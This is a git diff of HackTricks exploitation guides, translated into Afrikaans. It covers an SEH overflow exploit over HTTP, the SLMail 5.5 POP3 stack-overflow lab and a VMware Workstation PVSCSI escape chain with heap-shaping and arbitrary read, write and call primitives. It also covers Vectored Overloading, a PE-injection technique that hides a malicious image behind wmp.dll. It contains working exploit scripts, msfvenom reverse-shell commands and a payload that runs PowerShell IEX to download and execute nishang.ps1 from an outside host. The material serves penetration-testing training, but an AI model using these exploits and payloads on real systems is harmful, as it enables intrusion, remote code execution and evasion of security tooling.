+payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
+payload += b"D" * (buffer_length - len(payload))
+```
+Execution flow:
+- Exception occurs, dispatcher uses overwritten SEH.
+- POP POP RET unwinds into our nSEH.
+- nSEH executes `jmp short -8` into the 5-byte near jump.
+- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside.
+
+---
+
+## Bad characters
+
+Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded.
+```python
+badchars = bytes([x for x in range(1,256)])
+payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
+```
+---
+
+## Generering van shellcode (x86)
+
+Gebruik msfvenom met jou badchars. ’n Klein NOP sled help om variasie in die landingspunt te hanteer.
+```bash
+msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \
+-b "\x00\x0a\x0d" -f python -v sc
+```
+Wanneer dit on the fly gegenereer word, is die hex-formaat gerieflik om in Python te embed en te unhex:
+```bash
+msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \
+-b "\x00\x0a\x0d" -f hex
+```
+---
+
+## Lewering oor HTTP (presiese CRLF + Content-Length)
+
+Wanneer die kwesbare vector 'n HTTP-versoekliggaam is, stel 'n rou versoek saam met presiese CRLF's en Content-Length sodat die bediener die volledige oorlopende liggaam lees.[[1]](#references)
+```python
+# pip install pwntools
+from pwn import remote
+host, port = "", 8080
+body = b"A" * 1000 # replace with the SEH-aware buffer above
+req = f"""POST / HTTP/1.1
+Host: {host}:{port}
+User-Agent: curl/8.5.0
+Accept: */*
+Content-Length: {len(body)}
+Connection: close
+
+""".replace('\n','\r\n').encode() + body
+p = remote(host, port)
+p.send(req)
+print(p.recvall(timeout=0.5))
+p.close()
+```
+---
+
+## Tooling
+
+- x32dbg/x64dbg om die SEH-ketting waar te neem en die crash te triage.
+- ERC.Xdbg (x64dbg-plugin) om SEH-gadgets te enumereer: `ERC --SEH`.
+- Mona as alternatief: `!mona modules`, `!mona seh`.
+- nasmshell om kort/naby-spronge te assembleer en rou opcodes te kopieer.
+- pwntools om presiese netwerk payloads te skep.
+
+---
+
+## Notas en voorbehoude
+
+- Hierdie nSEH/SEH-stack-record-tegniek is van toepassing op x86-prosesse. x64 gebruik tabelgebaseerde exception-metadata eerder as dieselfde stack-gekoppelde registrasie-records.
+- Verkies gadgets in modules sonder SafeSEH en ASLR; andersins, vind ’n onbeskermde module wat in die proses gelaai is.
+- Service-watchdogs wat outomaties ná ’n crash herbegin, kan iteratiewe exploit-ontwikkeling makliker maak.
+- Wanneer die kwesbare invoer na UTF-16/Unicode getransformeer word, kan gewone greepgeoriënteerde spronge en shellcode moontlik nie meer oorleef nie. Venetian alignment en Unicode-versoenbare encoders is gespesialiseerde uitbreidings van die SEH-werkvloei; Corelan se toegewyde tutoriaal behou die volledige uitgewerkte tegniek.[[6]](#references)
+
+## References
+
+- [1] [HTB: Rainbow – SEH overflow na RCE oor HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
+- [2] [ERC.Xdbg – Exploit Research Plugin vir x64dbg (SEH-soektog)](https://github.com/Andy53/ERC.Xdbg)
+- [3] [Corelan - Exploit-skryftutoriaal deel 3: SEH-gebaseerde exploits](https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/)
+- [4] [Mona.py – WinDbg/Immunity-hulpmiddel](https://github.com/corelan/mona)
+- [5] [Microsoft Learn - `/SAFESEH`-beeld het veilige exception handlers](https://learn.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers)
+- [6] [Corelan - Exploit-skryftutoriaal deel 7: Unicode- en Venetian-shellcode](https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md b/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md
new file mode 100644
index 00000000000..af3b7777141
--- /dev/null
+++ b/src/binary-exploitation/vmware-workstation-pvscsi-lfh-escape.md
@@ -0,0 +1,75 @@
+# VMware Workstation PVSCSI LFH Escape (VMware-vmx on Windows 11)
+
+{{#include ../banners/hacktricks-training.md}}
+
+Dit is die publieke **Workstation-on-Windows 11**-variant van **CVE-2025-41238**.[[1]](#references) Broadcom het dit later in **Workstation 17.6.4** en **Fusion 13.6.4** reggestel; Broadcom merk ook op dat dieselfde PVSCSI-bug op **ESXi** normaalweg deur die **VMX sandbox** beperk word, behalwe in nie-ondersteunde konfigurasies.[[2]](#references)
+
+## Bug anatomy: fixed-size realloc + scattered OOB writes
+
+- `PVSCSI_FillSGI` kopieer die guest se scatter/gather-inskrywings na ’n interne array. Dit begin met ’n statiese buffer van 512 inskrywings (0x2000). Bo 512 inskrywings reallocates dit na **0x4000** grepe en, weens ’n funksionele bug, **reallocates dit tydens elke iterasie**.
+- Die reallocation-grootte groei nooit nie: 0x4000 / 0x10-grepe-inskrywings = **1024 bruikbare inskrywings**. Wanneer die guest **>1024 inskrywings** verskaf, word elke nuwe inskrywing **16 grepe verby die vars gealloceerde 0x4000-chunk** geskryf, wat die aangrensende chunk-header of objek korrupteer.[[1]](#references)
+- Overflow-inhoud: VMware stoor `{u64 addr; u64 len}`; die guest verskaf `{u64 addr; u32 len; u32 flags}`. Die 32-bis `len` word **zero-extended**, dus is die laaste dword van elke 16-grepe OOB-element **altyd 0x00000000**.
+
+## Guest-controlled host objects used by the chain
+
+- Die publieke exploit veronderstel ’n **Linux guest**: die `vmw_pvscsi`-driver stel aanvaller-beheerde `PVSCSISGElement`-arrays bloot, terwyl die verstek-**UHCI**-controller ’n FIFO URB-queue plus die `reap`-primitive verskaf.[[1]](#references)
+- **PVSCSI** is slegs die korrupsiebron: guest S/G-inskrywings aktiveer die 0x4000 realloc-loop en die verspreide 16-grepe OOB-writes.
+- **SVGA shaders** is die heap shapers: hulle kan in groot hoeveelhede gespray word, deur handle gepin word, selektief gefree word en onmiddellik met placeholder-objects gereclaim word.
+- **UHCI URBs** is die duursame victims/oracles: hulle bly lewendig totdat hulle volledig **reaped** is en stel `actual_len`, `data_ptr`, `pipe` en list links bloot, wat ’n gedeeltelike overwrite in leak / read / write / call primitives omskep.
+- **VMware Tools backdoor RPC** verskaf die sinchrone timing-probe: `vmx.capability.unified_loop` keer eers terug nadat die host die request verwerk het, wat LFH bucket-creation latency meetbaar maak.
+
+## LFH constraints & deterministic "Ping-Pong" placement
+
+- 0x4000-allokasies land in die **Windows 11 LFH** (16 chunks/bucket, 0x10-grepe metadata met keyed checksum). Enige chunk waarvan die header-checksum later getref word, sal die proses beëindig; gekorrupte headers mag dus nooit hergebruik word nie.[[1]](#references)
+- LFH gee ’n ewekansige vrye chunk terug, maar verkies die bucket wat die mees onlangs gefree-de chunk bevat. Forceer slegs twee vrye slots:
+1. Allokeer al die vrye 0x4000-chunks om die allocator te belyn; spray **32 SVGA shaders** om die **B1**- en **B2**-buckets te vul.
+2. Free B1 behalwe een gepinde shader (**Hole0**) sodat B1 aktief bly; allokeer **15 URBs** in B1.
+3. Free een shader in B2 (**PONG**), en free dan onmiddellik **Hole0**. LFH sal allokasies afwissel tussen die twee beskikbare slots **PING (B1)** en **PONG (B2)**.
+- Iterasie 1025 korrupteer die header ná PONG (wat nooit weer aangeraak word nie); iterasie 1026 tref die eerste 16 grepe van die URB ná PING (veilige metadata-bypass). Reclaim PING/PONG met placeholder-shaders om die uitleg stabiel en herhaalbaar te hou.
+
+## Reap Oracle: labeling contiguous holes
+
+- UHCI URBs leef in ’n FIFO-queue en word gefree wanneer hulle volledig **reaped** is. Die beperkte 16-grepe overwrite zero altyd `actual_len`, wat ’n marker verskaf.[[1]](#references)
+- Reap URBs in volgorde; wanneer ’n zeroed `actual_len` gesien word, refill onmiddellik die vrygestelde slot met ’n herkenbare shader. Deur te iterate kan jy **Hole0–Hole3** as vier aaneenlopende chunks in bekende volgorde karteer vir latere adjacency-afhanklike primitives.
+
+## Turning constrained writes into arbitrary overwrite (coalescing abuse)
+
+`PVSCSI` coalesces aangrensende inskrywings met `AddrA + LenA == AddrB` en **compact** latere inskrywings opwaarts.[[1]](#references)
+
+- **Two-pass overflow:** Trigger vanaf PING (onewe indekse) en exit vroeg om coalescing oor te slaan; trigger weer vanaf PONG (ewe indekse) om die gapings te vul en voort te gaan met skryf in ’n gespray-de shader wat fake S/G-inskrywings bevat.
+- **Vacuum + payload:** Stel inskrywings `[1023..2047]` op `{addr=0,len=0}` sodat coalescing hulle tot een laat inkrimp, wat ’n logiese gat skep. Payload-inskrywings wat daarna (in die shader) geplaas word, word **opwaarts geskuif** na vroeër geheue en land binne die victim URB.
+- **Adjacency-check bypass:** Deur `LenA=0` te stel, word die voorwaarde `AddrA==AddrB`. Craft pare
+```
+{addr = X, len = 0}
+{addr = X, len = Y}
+```
+sodat coalescing hulle in `{addr=X,len=Y}` merge. Ewe-geïndekse zero-size elemente kom van die beperkte overflow; onewe-geïndekse waardes leef in die shader. Die resultaat is **arbitrêre 16-grepe-patrone** ondanks die geforseerde zero dword.
+
+## Hybrid URB infoleak via coalescing side-effects
+
+- Rangskik aaneenlopende chunks: `[Hole0 (free/PING), URB1 (target), URB2 (valid, actual_len=0), URB3 (leak target)]`.[[1]](#references)
+- Vul URB1 met aaneenlopende fake entries (groottes `0xFFFFFFFF`) en raak URB2 minimaal. Coalescing merge hulle in een inskrywing; die som `0xFFFFFFFF * 0x401` stel die boonste dword by URB1 se `actual_len`-offset op **0x400**.
+- Compaction kopieer die daaropvolgende data **opwaarts**, wat **URB2 se header in URB1 intrek**. URB1 het nou ’n geldige header (pipe/list pointers), `actual_len=0x400`, en ’n data pointer wat reeds aan die einde van URB2 se buffer is.
+- Deur URB1 te reap, word 0x400 grepe begin net voor URB3 gekopieer, wat ’n **OOB read** van URB3 se header/self-references lewer. Dit onthul absolute heap addresses en omseil ASLR vir daaropvolgende forged structures.
+
+## Post-leak primitives (no re-triggering the bug)
+
+- Forge ’n URB-structure binne ’n shader wat **Hole0** beset, en gebruik dan die coalescing "move up" om URB1 met die forged data te vervang.[[1]](#references)
+- Maak die URB persistent: stel `URB1.next = Hole0` en verhoog `refcount`; deur URB1 te reap, word die **Hole0-backed fake URB** aan die FIFO-head geplaas. Toekomstige primitives is bloot reallocations van Hole0 met nuwe fake URBs.
+- **Arbitrary read:** fake URB met ’n gekose `data_ptr` en `actual_len`, en reap dit dan om host-geheue na die guest te kopieer.
+- **Arbitrary write (32-bit):** fake URB waarvan `pipe` na beheerde geheue wys en misbruik die UHCI **TDBuffer writeback** om ’n gekose dword by ’n arbitrêre adres te stoor.
+- **Arbitrary call:** overwrite ’n USB pipe callback; die host roep dit met beheerde data by `RCX+0x90`. Resolve `WinExec` dinamies (guest-side read van Kernel32) en pivot deur ’n **CFG-valid gadget binne vmware-vmx** wat args vanaf `RCX+0x100` laai voordat dit na `WinExec("calc.exe")` dispatch.
+
+## LFH timing side-channel to learn the initial bucket offset
+
+- Deterministiese Ping-Pong vereis kennis van die LFH free-chunk offset (watter van 16 slots eerste getref sal word). Gebruik die **VMware backdoor**-instruksie (`inl %%dx, %%eax`) met die sinchrone VMware Tools-command `vmx.capability.unified_loop` en ’n **0x4000-grepe string**, wat **twee 0x4000-allokasies** per call forseer.[[1]](#references)
+- Time 8 calls (16 allokasies) via `gettimeofday`; een call toon ’n konsekwente spike wanneer LFH ’n nuwe bucket skep. Herhaal met een ekstra allokasie: as die spike by dieselfde indeks bly, is die offset onewe; as dit skuif, is dit ewe; anders, begin oor weens noise.
+- Probe strings moet **uniek** bly. As dieselfde string hergebruik word, tref die host die bestaande `unified_loop`-entry in plaas daarvan om ’n vars paar 0x4000-buffers te allokeer, wat die signal vernietig.
+- Caveat: elke unieke `unified_loop`-string word in ’n unfreeable list gestoor, wat **O(n) lookup overhead** en toenemende noise veroorsaak; die side-channel moet dus vinnig convergeer.
+
+## References
+
+- [1] [Synacktiv – On the clock: Escaping VMware Workstation at Pwn2Own Berlin 2025](https://www.synacktiv.com/en/publications/on-the-clock-escaping-vmware-workstation-at-pwn2own-berlin-2025.html)
+- [2] [Broadcom – VMSA-2025-0013: VMware ESXi, Workstation, Fusion, and Tools updates address multiple vulnerabilities](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/VMSA-2025-0013--VMware-ESXi--Workstation--Fusion--and-Tools-updates-address-multiple-vulnerabilities--CVE-2025-41236--CVE-2025-41237--CVE-2025-41238--CVE-2025-41239-/35877)
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
index fb6f628627e..d801ae183d8 100644
--- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
@@ -1,21 +1,28 @@
-# Windows Exploiting (Basic Guide - OSCP lvl)
+# Windows Exploiting (Basiese Gids - OSCP-vlak)
{{#include ../banners/hacktricks-training.md}}
-## **Start installing the SLMail service**
+> [!WARNING]
+> Dit is ’n legacy 32-bit stack-overflow-laboratorium vir die kwesbare SLMail 5.5 POP3-diens. Die vaste offset, return address en gedeaktiveerde mitigations hieronder is teikenspesifiek; reproduseer dit slegs in ’n geïsoleerde laboratorium.[[1]](#references)[[2]](#references)
+
+> [!TIP]
+> Op soek na post-OSCP kernel primitives? Moderne registry hive corruption chains vir deterministiese SYSTEM shells word hier gedek:
-## Restart SLMail service
+{{#ref}}
+../windows-hardening/windows-local-privilege-escalation/windows-registry-hive-exploitation.md
+{{#endref}}
-Every time you need to **restart the service SLMail** you can do it using the windows console:
+## **Begin met die installering van die SLMail-diens**
+## Herbegin die SLMail-diens
+
+Wanneer jy die **SLMail-diens moet herbegin**, gebruik die Windows-console:
```
net start slmail
```
+.png>)
-.png>)
-
-## Very basic python exploit template
-
+## Baie basiese Python exploit-sjabloon
```python
#!/usr/bin/python
@@ -27,99 +34,99 @@ port = 110
buffer = 'A' * 2700
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
+## **Verander Immunity Debugger se lettertipe**
-## **Change Immunity Debugger Font**
-
-Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
+Gaan na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-## **Attach the proces to Immunity Debugger:**
+## **Heg die proses aan Immunity Debugger**
**File --> Attach**
-.png>)
+.png>)
-**And press START button**
+**En druk die START-knoppie**
-## **Send the exploit and check if EIP is affected:**
+## **Stuur die exploit en kyk of EIP beïnvloed word:**
-.png>)
+.png>)
-Every time you break the service you should restart it as is indicated in the beginnig of this page.
+Wanneer die diens crash, herbegin dit soos aan die begin van hierdie bladsy beskryf word.
-## Create a pattern to modify the EIP
+## Skep ’n pattern om die EIP te wysig
-The pattern should be as big as the buffer you used to broke the service previously.
-
-.png>)
+Die pattern moet minstens so groot wees soos die buffer wat die diens voorheen laat crash het.
+.png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
+Vervang die exploit-buffer met die patroon en begin die exploit.
-Change the buffer of the exploit and set the pattern and lauch the exploit.
-
-A new crash should appeard, but with a different EIP address:
+’n Nuwe crash behoort met ’n ander EIP-waarde te verskyn:
-.png>)
+.png>)
-Check if the address was in your pattern:
-
-.png>)
+Kontroleer of die adres in jou patroon was:
+.png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
+Dit wys dat **EIP by offset 2606** van die buffer beheer kan word.[[1]](#references)
-Looks like **we can modify the EIP in offset 2606** of the buffer.
-
-Check it modifing the buffer of the exploit:
-
+Bevestig dit deur die exploit-buffer te wysig:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
+Met hierdie buffer behoort EIP tydens die crash `0x42424242` (`BBBB`) te bevat.
-With this buffer the EIP crashed should point to 42424242 ("BBBB")
-
-.png>)
+.png>)
-.png>)
+.png>)
-Looks like it is working.
+Dit lyk of dit werk.
-## Check for Shellcode space inside the stack
+## Kyk vir Shellcode-spasie binne die stack
-600B should be enough for any powerfull shellcode.
-
-Lets change the bufer:
+Gebruik ’n **600-byte marker** om die kandidaat-payloadstreek te meet. Die marker is doelbewus groter as die bruikbare area; die debugger-meting hieronder wys dat hierdie spesifieke crash **430 bytes** vir shellcode laat.
+Verander die buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
+Begin die nuwe exploit en inspekteer ESP en die hoeveelheid bruikbare spasie daarna.
-launch the new exploit and check the EBP and the length of the usefull shellcode
-
-.png>)
+.png>)
-.png>)
+.png>)
-You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+Wanneer die kwesbare pad bereik word, wys ESP na die beheerde buffer en is daar plek vir shellcode.
-In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+In hierdie geval het ons **van 0x0209A128 tot 0x0209A2D6 = 430B.** Genoeg.
-## Check for bad chars
+### Alternatief: stage die payload voor EIP
-Change again the buffer:
+Moenie aanvaar dat `ESP` op elke kwesbare pad onmiddellik ná die oorskryfde return address wys nie. Die onderhoude Metasploit-module gebruik dieselfde offset en `JMP ESP`, maar plaas tot 600 grepe se encoded payload **voor** EIP. Sy post-EIP-stub herstel eers `ESP` en spring dan terugwaarts na daardie payload. Dit is nuttig wanneer die post-EIP-area kort of onstabiel is, maar die konstantes is spesifiek vir die SLMail-builds wat deur die module ondersteun word: stel ’n breakpoint op die geselekteerde `JMP ESP`, teken die werklike `ESP` aan, en bereken die stack adjustment en relative branch weer eerder as om dit blindelings te hergebruik.[[1]](#references)
+```python
+pre_eip = b"A" * (2606 - len(shellcode)) + shellcode
+ret = b"\x8f\x35\x4a\x5f" # 0x5f4a358f
+fix_esp = b"\x81\xc4\xff\xef\xff\xff\x44" # add esp,-4097; inc esp
+jmp_back = b"\xe9\xcb\xfd\xff\xff" # module-specific relative jump
+buffer = pre_eip + ret + fix_esp + jmp_back + b"C" * 512
+```
+## Kontroleer vir ongewenste karakters
+Verander die buffer weer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -141,63 +148,75 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
+Die toets begin by `0x01` omdat `0x00` ’n stringterminator is en dus ’n bad character vir hierdie target is.
-The badchars starts in 0x01 because 0x00 is almost always bad.
+Run die exploit herhaaldelik en verwyder elke byte wat deur die target afgekap of getransformeer word.
-Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+Byvoorbeeld:
-For example:
+In hierdie geval moet **`0x0A` uitgesluit word**, omdat grepe ná `0x09` nie soos verwag verskyn nie.
-In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
+.png>)
-.png>)
+In hierdie geval moet **`0x0D` ook uitgesluit word**:
-In this case you can see that **the char 0x0D is avoided**:
+.png>)
-.png>)
+Die screenshots is nie ’n volledige resultaat vir elke installasie nie. Die onderhoude Metasploit target verklaar veral **`0x00 0x0a 0x0d 0x20`** as bad characters. Toets die volledige volgorde weer teen die presiese input path en gebruik die strenger stel wanneer daardie module gereproduseer word.[[1]](#references)
-## Find a JMP ESP as a return address
+### Vergelyk bad characters met Mona
-Using:
+Visuele inspeksie kan ’n getransformeerde byte mis. Mona kan die verwysingslêer genereer en dit direk met die bytes by `ESP` vergelyk. Na elke crash, sluit slegs die **eerste nuut beskadigde byte** uit, genereer die verwysings- en exploit-byte-arrays albei weer, en herhaal totdat die vergelyking ’n onveranderde volgorde rapporteer; latere verskille kan slegs newe-effekte van die eerste bad character wees.[[4]](#references)
+```text
+!mona config -set workingfolder C:\mona\%p
+!mona bytearray -cpb "\x00"
+# Send the matching bytearray.txt bytes after EIP, trigger the crash, then:
+!mona compare -f C:\mona\slmail\bytearray.bin -a esp
+# Example next pass after confirming CR, LF and space are also bad:
+!mona bytearray -cpb "\x00\x0a\x0d\x20"
+```
+## Vind 'n JMP ESP as 'n return address
+
+> [!NOTE]
+> Corelan merk nou die klassieke Mona-integrasie as legacy en verwys huidige WinDbg-gebruikers na die Python 3-gebaseerde Mona v3-lyn. Die opdragte hieronder behou doelbewus die klassieke sintaksis omdat hierdie bladsy 'n 32-bis legacy-teiken reproduseer.[[3]](#references)
+Gebruik:
```
-!mona modules #Get protections, look for all false except last one (Dll of SO)
+!mona modules # Get protections; prefer a non-OS module with all listed mitigations set to False
```
-
-You will **list the memory maps**. Search for some DLl that has:
+Hierdie lys die gelaaide modules en hul mitigations. Vir hierdie legacy-tegniek, identifiseer ’n nie-OS-teikenmodule sonder rebasing, SafeSEH-, ASLR- of NX-verenigbaarheid. Moderne mitigations soos DEP, ASLR en CFG is spesifiek bedoel om hierdie soort exploit te ontwrig.[[2]](#references)[[3]](#references)
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
-- **OS Dll: True**
-
-.png>)
+- **OS Dll: False**
-Now, inside this memory you should find some JMP ESP bytes, to do that execute:
+.png>)
+Vra Mona vir register-jump-kandidate terwyl bad bytes op pointer-vlak gefiltreer word:
+```text
+!mona jmp -r esp -m slmfc.dll -cpb "\x00\x0a\x0d\x20"
```
-!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
+Alternatiewelik, soek na die rou `JMP ESP`-opcode binne 'n geselekteerde DLL:
+```
+!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes inside DLL space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
+**As daar verskeie adresse gevind word, kies een waarvan die little-endian-voorstelling geen slegte karakters bevat nie:**
-**Then, if some address is found, choose one that don't contain any badchar:**
-
-.png>)
+.png>)
-**In this case, for example: \_0x5f4a358f**\_
-
-## Create shellcode
+**In hierdie geval, byvoorbeeld: \_0x5f4a358f**\_
+## Skep shellcode
```
-msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
-msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
+msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d\x20'
+msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d\x20'
```
+As uitvoering die payload bereik maar dit steeds misluk, genereer nog ’n payload met dieselfde parameters: verskillende encodings kan teikenspesifieke korrupsie vermy.
-If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
-
-**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
-
+**Voeg ’n paar NOPS aan die begin** van die shellcode by en gebruik dit en die return address om na JMP ESP te JMP, en voltooi die exploit:
```bash
#!/usr/bin/python
@@ -236,26 +255,45 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
-
> [!WARNING]
-> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+> Daar is shellcodes wat **hulself sal oorskryf**, daarom is dit belangrik om altyd ’n paar NOPs voor die shellcode by te voeg
-## Improving the shellcode
-
-Add this parameters:
+## Verbetering van die shellcode
+Voeg hierdie parameters by:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
+## Opsionele moderne debugger-werkvloei: x32dbg + ERC.Xdbg
+
+Vir hierdie 32-bis-teiken kan `x32dbg` Immunity Debugger vervang. Die ERC.Xdbg-plugin verskaf dieselfde kernlaboratorium-primitiewe—sikliese patrone, byte-array-vergelyking, modulefiltrering en opcode-soektogte—sonder om die exploit-logika te verander.[[5]](#references)
+```text
+ERC --config SetWorkingDirectory C:\ERC\SLMail
+ERC --pattern c 3000
+ERC --pattern o 8Di9
+ERC --bytearray -bytes 0x00 0x0A 0x0D 0x20
+ERC --Compare C:\ERC\SLMail\.bin
+ERC --SearchModules FF E4 slmfc.dll
+```
+Valideer altyd die kandidaatmodule se beskermingsmeganismes en die little-endian-adresgrepe; om slegs na `FF E4` te soek, maak nie 'n adres stabiel of bruikbaar nie.[[5]](#references)
+
+
+
+## References
+- [1] [Rapid7 - Seattle Lab Mail 5.5 POP3 buffer overflow](https://www.rapid7.com/db/modules/exploit/windows/pop3/seattlelab_pass/)
+- [2] [Microsoft - Control Flow Guard for platform security](https://learn.microsoft.com/en-us/windows/win32/secbp/control-flow-guard)
+- [3] [Corelan - Mona.py repository and command documentation](https://github.com/corelan/mona)
+- [4] [Corelan - Mona.py manual](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)
+- [5] [Andy53 - ERC.Xdbg exploit-development plugin](https://github.com/Andy53/ERC.Xdbg)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/windows-vectored-overloading.md b/src/binary-exploitation/windows-vectored-overloading.md
new file mode 100644
index 00000000000..52bdc04957e
--- /dev/null
+++ b/src/binary-exploitation/windows-vectored-overloading.md
@@ -0,0 +1,91 @@
+# Vectored Overloading PE Injection
+
+{{#include ../banners/hacktricks-training.md}}
+
+> [!TIP]
+> Op soek na Windows 11 LFH heap shaping- en VMware Workstation PVSCSI (vmware-vmx) escape-tegnieke?
+>
+> {{#ref}}
+> vmware-workstation-pvscsi-lfh-escape.md
+> {{#endref}}
+
+## Tegniekoorsig
+
+Vectored Overloading is ’n **Windows PE injection primitive** wat klassieke Module Overloading met **Vectored Exception Handlers (VEHs)** en **hardware breakpoints** kombineer. In plaas daarvan om `LoadLibrary` te patch of sy eie loader te skryf, doen die aanvaller:[[1]](#references) [[4]](#references)
+
+1. Skep ’n `SEC_IMAGE`-section wat deur ’n legitieme DLL (bv. `wmp.dll`) gerugsteun word.
+2. Oorskryf die gemapte view met ’n volledig relocated malicious PE, maar hou die section object steeds na die benign image op skyf gewys.
+3. Registreer ’n VEH en programmeer debug registers sodat elke oproep na `NtOpenSection`, `NtMapViewOfSection` en opsioneel `NtClose` ’n user-mode breakpoint laat ontstaan.
+4. Roep `LoadLibrary("amsi.dll")` (of enige ander benign target) aan. Wanneer die Windows loader daardie syscalls aanroep, **slaan** die VEH die kernel transition oor en gee die handles en base addresses van die voorbereide malicious image terug.
+
+Omdat die loader steeds glo dat hy die aangevraagde DLL gemap het, sien tooling wat slegs na section backing files kyk `wmp.dll`, selfs al bevat memory nou die aanvaller se payload. Intussen word imports/TLS callbacks steeds deur die genuine loader opgelos, wat die hoeveelheid custom PE-parsing-logika wat die aanvaller moet onderhou, aansienlik verminder.[[1]](#references)
+
+## Fase 1 – Bou die disguised section
+
+1. **Skep en map ’n section vir die decoy DLL**
+```c
+NtCreateSection(&DecoySection, SECTION_ALL_ACCESS, NULL,
+0, PAGE_READWRITE, SEC_IMAGE, L"\??\C:\\Windows\\System32\\wmp.dll");
+NtMapViewOfSection(DecoySection, GetCurrentProcess(), &DecoyView, 0, 0,
+NULL, &DecoySize, ViewShare, 0, PAGE_READWRITE);
+```
+2. **Kopieer die malicious PE** section vir section na daardie view, met inagneming van `SizeOfRawData`/`VirtualSize`, en werk die protections daarna op (`PAGE_EXECUTE_READ`, `PAGE_READWRITE`, ens.).
+3. **Pas relocations toe en resolve imports** presies soos ’n reflective loader sou doen. Omdat die view reeds as `SEC_IMAGE` gemap is, stem section alignments en guard pages ooreen met wat die Windows loader later verwag.
+4. **Normaliseer die PE header**:
+- As die payload ’n EXE is, stel `IMAGE_FILE_HEADER.Characteristics |= IMAGE_FILE_DLL` en stel die entry point op nul om te voorkom dat `LdrpCallTlsInitializers` na EXE-spesifieke stubs spring.
+- DLL-payloads kan hul headers onveranderd behou.
+
+Op hierdie stadium besit die proses ’n RWX-capable view waarvan die backing object steeds `wmp.dll` is, maar waarvan die bytes in memory deur die aanvaller beheer word.[[1]](#references)
+
+## Fase 2 – Kaap die loader met VEHs
+
+1. **Registreer ’n VEH en aktiveer hardware breakpoints**: programmeer `Dr0` (of ’n ander debug register) met die address van `ntdll!NtOpenSection` en stel `DR7` sodat elke uitvoering `STATUS_SINGLE_STEP` laat ontstaan. Herhaal dit later vir `NtMapViewOfSection` en opsioneel `NtClose`.
